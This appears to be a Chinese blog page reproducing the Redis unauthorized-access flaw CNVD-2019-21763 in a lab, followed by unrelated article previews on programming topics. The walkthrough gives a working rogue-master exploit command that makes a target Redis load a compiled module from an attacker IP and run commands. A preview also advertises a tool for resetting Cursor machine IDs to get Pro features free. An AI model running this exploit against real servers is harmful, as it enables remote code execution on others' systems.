Redis未授权访问-CNVD-2019-21763复现
Redis未授权访问-CNVD-2019-21763复现
利用项目： https://github.com/vulhub/redis-rogue-getshell
解压后先进入到 RedisModulesSDK目录里面的exp目录下，make编译一下才会产生exp.so文件，后面再利用这个exp.so文件进行远程代码执行
需要python3环境
# 利用命令，命令中的攻击IP要用公网IP
python3 redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp/exp.so -c "id"
进入到exp目录下make一下
来到 redis-master.py文件所属目录下 执行命令，查看id
命令执行成功
相关文章：
Redis未授权访问-CNVD-2019-21763复现
Redis未授权访问-CNVD-2019-21763复现 利用项目： https://github.com/vulhub/redis-rogue-getshell 解压后先进入到 RedisModulesSDK目录里面的exp目录下，make编译一下才会产生exp.so文件，后面再利用这个exp.so文件进行远程代码执行 需要p…...
汇编：常用的输入与输出
1.字符输出 使用int 21h中断的02h号功能可以在屏幕输出一个字符，dl中存放要输出字符的ascii码。 如下代码将在屏幕输出一个字符“a”： mov ah,02hmov dl,aint 21h 2.字符输入 使用int 21h中断的01h号功能可以接受一个字符，al存放输…...
MYSQL基础之【正则表达式，事务处理】
文章目录 前言MySQL 正则表达式MySQL 事务事务控制语句事务处理方法PHP中使用事务实例 后言 前言 hello world欢迎来到前端的新世界 😜当前文章系列专栏：Mysql 🐱👓博主在前端领域还有很多知识和技术需要掌握，正在不…...
Mysql并发时常见的死锁及解决方法
使用数据库时，有时会出现死锁。对于实际应用来说，就是出现系统卡顿。 死锁是指两个或两个以上的事务在执行过程中，因争夺资源而造成的一种互相等待的现象。就是所谓的锁资源请求产生了回路现象，即死循环，此时称系统处于…...
二十九、微服务案例完善（数据聚合、自动补全、数据同步）
目录 一、定义 二、分类 1、桶(Bucket)聚合: 2、度量(Metric）聚合: 3、管道聚合（Pipeline Aggregation）： 4、注意： 参与聚合的字段类型必须是: 三、使用DSL实现聚合 聚合所必须的三要素： 聚合可配…...
vue 目录树的展开与关闭
目录 1、翻页方法中控制目录树节点的展开与关闭2、搜索目录树节点名称控制节点的展开与关闭 <el-tree:data"data_option"ref"tree":props"defaultProps"node-click"handleNodeClick":default-expanded-keys"needExpandedKeys&…...
【Docker】python flask 项目如何打包成 Docker images镜像 上传至阿里云ACR私有（共有）镜像仓库 集成Drone CI
一、Python环境编译 1、处理好venv环境 要生成正常的 requirements.txt 文件，我们就需要先将虚拟环境处理好 创建虚拟环境（可选）： 在项目目录中，你可以选择使用虚拟环境，这样你的项目依赖将被隔离在一个…...
力扣labuladong——一刷day55
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录 前言一、力扣951. 翻转等价二叉树二、力扣124. 二叉树中的最大路径和三、力扣112. 路径总和（遍历）四、力扣112. 路径总和（分解&a…...
springboot实现验证码功能
转载自 : www.javaman.cn 1、编写工具类生成4位随机数 该工具类主要生成从0-9，a-z，A-Z范围内产生的4位随机数 /*** 产生4位随机字符串*/public static String getCheckCode() {String base "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmn…...
内测分发平台是否支持应用的微服务化部署
内测分发平台的微服务化部署支持是现代应用开发和部署的一个重要特性。首先我们得知道什么是微服务化部署都有哪些关键功能，如何实施微服务化的部署。下文以我自己理解总结了几点。 图片来源:news.gulufenfa.com 微服务是一种基于独立运行的小型服务来构建应用程序…...
1140. 最短网络，prim算法，模板题
1140. 最短网络 - AcWing题库 农夫约翰被选为他们镇的镇长！ 他其中一个竞选承诺就是在镇上建立起互联网，并连接到所有的农场。 约翰已经给他的农场安排了一条高速的网络线路，他想把这条线路共享给其他农场。 约翰的农场的编号是1…...
升级jdk17过程中，原来的jdk8下的webservice客户端怎样处理
背景：之前jdk8环境下，使用的cxf框架，而且是动态加载解析作为客户端。大家一直相处的很愉快。但是最近升级jdk17，发现cxf不好用了。网上百度，大部分都是说升级cxf版本，并且添加jaxb的相关依赖就可以了。但是…...
Verilog基本语法概述
一、概述 Verilog 是一种用于数字逻辑电路设计的硬件描述语言，可以用来进行数字电路的仿真验证、时序分析、逻辑综合。 既是一种 行为级（可用于电路的功能描述） 描述语言又是一种 结构性（可用于元器件及其之间的连接）…...
论文阅读：C2VIR-SLAM: Centralized Collaborative Visual-Inertial-Range SLAM
前言 论文全程为C2VIR-SLAM: Centralized Collaborative Visual-Inertial-Range Simultaneous Localization and Mapping，是发表在MDPI drones（二区，IF4.8）上的一篇论文。这篇文章使用单目相机、惯性测量单元( IMU )和UWB设备作为…...
蓝桥杯刷题day01——字符串中的单词反转
题目描述 你在与一位习惯从右往左阅读的朋友发消息，他发出的文字顺序都与正常相反但单词内容正确，为了和他顺利交流你决定写一个转换程序，把他所发的消息 message 转换为正常语序。 注意：输入字符串 message 中可能会存在前导空…...
Python---引用变量与可变、非可变类型
引用变量 在大多数编程语言中，值的传递通常可以分为两种形式“ 值 传递 与 引用 传递”，但是在Python中变量的传递基本上都是引用传递。 变量在内存底层的存储形式 a 10 第一步：首先在计算机内存中创建一个数值10（占用一块…...
GDOUCTF2023-Reverse WP
文章目录 [GDOUCTF 2023]Check_Your_Luck[GDOUCTF 2023]Tea[GDOUCTF 2023]easy_pyc[GDOUCTF 2023]doublegame[GDOUCTF 2023]L！s！[GDOUCTF 2023]润！附 [GDOUCTF 2023]Check_Your_Luck 根据 if 使用z3约束求解器。 EXP： from z3 i…...
Day43力扣打卡
打卡记录 子数组的最小值之和（乘法原理 单调栈） 大佬的题解 class Solution:def sumSubarrayMins(self, arr: List[int]) -> int:n len(arr)# 左边界 left[i] 为左侧严格小于 arr[i] 的最近元素位置（不存在时为 -1）left, s…...
elementui的table合并列，三个一组
<el-table :span-method"objectSpanMethod" :cell-style"iCellStyle" :data"tableData" height"63vh" border style"width: 100%; margin-top: 6px"><el-table-column type"index" label"序号"…...
HarmonyOS-Service服务开发(一)
文章目录 创建新项目启动Serviceets获取service的bundleName DataAbility开发指导开发Data步骤创建Data 创建新项目 ServiceAbility开发指导 在config.json中也有配置出现 启动Service ets获取service的bundleName 项目的bundleName service的bundleName 这里serviceAbil…...
AI创作利器：Harness+OpenClaw+CLI实战
我将主要围绕您提到的 Harness、OpenClaw 和 CLI 这三个核心概念，结合参考资料，为您拆解如何利用它们进行技术创作，并提供具体、可操作的代码示例。一、 核心概念解构：理解赋能创作的三大引擎在2026年的AI技术背景下，这…...
正则表达式 ；grep ；sed实验笔记
复习 开发脚本：已知变量num10，判断num值，如果大于 5 且小于 15，则输出"5<num<15"。 #!/bin/bash num10 # if [ $num -gt 5 ] && [ $num -lt 15 ];then # if [ $num -gt 5 -a $num -lt 15 ];then if ((5&l…...
终极指南：如何免费解锁Cursor AI编辑器的完整Pro功能
终极指南：如何免费解锁Cursor AI编辑器的完整Pro功能 【免费下载链接】cursor-free-vip [Support 0.45]（Multi Language 多语言）自动注册 Cursor Ai ，自动重置机器ID ， 免费升级使用Pro 功能: Youve reached your tria…...
iStore增强插件：从网络优化到智能家居，一站式解决家庭网关痛点
1. iStore增强插件：家庭网络的瑞士军刀 第一次接触iStore增强插件是在三年前，当时我家的网络状况简直是一场灾难。孩子上网课卡顿、老婆追剧缓冲、我打游戏延迟飙升，三台设备同时在线就能让千兆宽带变成"千愁宽带"。直到在技术论坛…...
Qt5.12.12安卓开发环境搭建：Windows下避开cmdline-tools版本坑的保姆级教程
Qt5.12.12安卓开发环境搭建：Windows下避开cmdline-tools版本坑的保姆级教程 在Windows平台上搭建Qt5.12.12的安卓开发环境，看似简单的流程却暗藏玄机。许多开发者按照常规教程操作，却在最后一步被QtCreator的报错拦住了去路。本文将聚焦这个最…...
程序员必备：如何用Raycast和Alfred打造高效macOS开发环境（2023最新配置）
程序员必备：如何用Raycast和Alfred打造高效macOS开发环境（2023最新配置） 在快节奏的开发工作中，效率工具的选择往往能决定一天的产出量。作为长期使用macOS的开发者，我尝试过几乎所有主流效率工具，最终形成…...
Harness Engineering 是什么？三层演化，搞懂 AI Agent 的真正驱动力
提示词工程、上下文工程、Harness Engineering——一文说透，附四张原创图解 很多人搭 AI Agent，卡在同一个地方： 照着教程写了提示词，Agent 还是跑偏、忘事、乱执行。 问题不在提示词写得不够好——是你对整个概念体系的理解&am…...
免费开源Altium电路图转换器：无需专业软件查看SchDoc文件的终极指南
免费开源Altium电路图转换器：无需专业软件查看SchDoc文件的终极指南 【免费下载链接】python-altium Altium schematic format documentation, SVG converter and TK viewer 项目地址: https://gitcode.com/gh_mirrors/py/python-altium 你是否经常遇到这样的…...
别只盯着那几根线了：深入聊聊JTAG的TAP控制器和边界扫描到底能干嘛
别只盯着那几根线了：深入聊聊JTAG的TAP控制器和边界扫描到底能干嘛 当工程师第一次接触JTAG接口时，注意力往往被那几根物理引脚吸引——TCK、TMS、TDI、TDO，最多再加上TRST。但就像外科医生不能只认识手术刀一样，真正发挥JTAG威力…...
从ViT到MGMoE：多模态注意力参数量暴增300倍背后的架构熵危机（附2024 ACL/ICML/CVPR权威论文对比矩阵与迁移适配清单）
第一章：多模态大模型中的注意力机制 2026奇点智能技术大会(https://ml-summit.org) 多模态大模型的核心挑战在于如何对齐与融合来自图像、文本、音频等异构模态的语义表征。注意力机制——尤其是交叉注意力（Cross-Attention）——成为实现跨模…...